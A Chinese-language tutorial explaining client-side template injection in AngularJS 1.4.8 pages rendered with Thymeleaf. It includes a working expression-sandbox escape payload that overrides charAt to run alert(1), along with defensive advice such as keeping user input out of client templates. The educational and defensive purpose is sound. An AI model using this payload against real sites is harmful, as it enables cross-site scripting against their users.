利用AngularJS繞過XSS表達式沙箱
簡介
AngularJS是一個很流行的JavaScript框架，通過這個框架可以把表達式放在花括號中嵌入到頁面中。例如，表達式1+2={{1+2}}將會得到1+2=3。其中括號中的表達式被執行了，這就意味著，如果服務端允許用戶輸入的參數中帶有花括號，我們就可以用Angular表達式來進行xss攻擊。
一個客戶端的用戶輸入
我們來探究下HTML頁面是如何安全的防護用戶輸入。在下面這個例子中，我們會使用HTML中的Thymeleaf來編碼，然后在頁面中的div標簽的text屬性中輸出username的值。
- <html xmlns:th="http://www.thymeleaf.org">
- <head>
- <title>AngularJS - Escaping the Expression Sandbox</title>
- </head>
- <body>
- <div th:text="${username}"></div>
- </body>
- </html>
如果username的值是alert('Rob')，輸出的頁面就是以下的樣子：
- <html xmlns:th="http://www.thymeleaf.org">
- <head>
- <title>AngularJS - Escaping the Expression Sandbox
- </title>
- </head>
- <body>
- <div><script>alert('Rob')</script>
- </div>
- </body>
- </html>
可以看到，輸出的內容都被HTML編碼了，這就是說，目前為止這個應用對xss攻擊是可以防御的。
添加AngularJS
當前，我們的應用可以防護xss攻擊。接下來，我們加入AngularJS來改下：
- <html xmlns:th="http://www.thymeleaf.org">
- <head>
- <title>Angular Expression - safe</title>
- <script src="angular-1.4.8.min.js"></script>
- </head>
- <body ng-app>
- <div th:text="${username}"></div>
- </body>
- </html>
你可以發現，有兩處修改了：
1. 引入了angular-1.4.8.min.js
2. 給body元素添加了ng-app
現在，我們的應用就很容易受到xss攻擊了，但是，我們該如何攻擊呢?
就像我們在簡介中介紹的那樣，如果把username改成1+2={{1+2}}會怎么樣呢?
結果如下：
- <html>
- <head>
- <title>Angular Expression - safe</title>
- <script src="angular-1.4.8.min.js"></script>
- </head>
- <body ng-app="">
- <div>1+2={{1+2}}</div>
- </body>
- </html>
Angular將會把DOM解析成如下：
- <html>
- <head>
- <title>Angular Expression - safe</title>
- <script src="angular-1.4.8.min.js"></script>
- </head>
- <body ng-app="">
- <div>1+2=3</div>
- </body>
- </html>
可以看到括號里面的表達式被運行了，我們現在把username換成{{alert('Rob')}}試試，但是這樣做被表達式沙盒攔截了。此時，我們可以認為我們寫的頁面是安全的，因為威脅語句被攔截了。
表達式沙盒化
在AngularJS中，沙盒化的目的并不是為了安全，更主要的是為了分離應用，例如，用戶在獲取window的時候是不被允許的，因為這樣可以避免在你的程序中引入全局變量。
但是，如果在表達式被處理之前，有攻擊者修改了頁面模板，這樣的情況沙盒是不會攔截的。也就是說，這種情況下，任何在花括號內的語句都能被執行，
所以Angular官方建議開發這類應用時，最好不要讓用戶可以修改客戶端模板。具體建議如下：
不要把客戶端和服務端模板混在一起
不要通過用戶輸入來動態的生成模板
不要用$scope.$eval運行用戶輸入內容
可以考慮使用CSP(也不要只依賴于CSP)
這些意味著如果應用頁面允許用戶的輸入修改到客戶端的模板中，那么這個頁面將很容易被xss攻擊，接下來我們來看看這個具體的例子：
繞過表達式沙盒
如果我們的payload被沙盒化了，我們該怎么樣繞過呢?
如果我們的username是以下的值，將會發生什么呢?
{{'a'.constructor.prototype.charAt=[].join;eval('x=1} } };alert(1)//');
}}
上面的例子中，通過覆蓋原始函數charAt，我們就可以繞過Angular的表達式沙盒，并且執行我們的語句alert(1)。具體的攻擊原理可以參考http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html。
注意，這些測試只是在Chrome和AngularJS1.4.8中成功。在其他的瀏覽器中不知道能不能成功。
結論
如果服務端允許用戶輸入到Angular模板，這將會讓你的應用陷入xss的攻擊中。不過話說回來，最好不要把服務端的用戶輸入和客戶端模板混合起來。關于這點你可以從這篇文章里面了解詳細的內容https://github.com/rwinch/angularjs-escaping-expression-sandbox
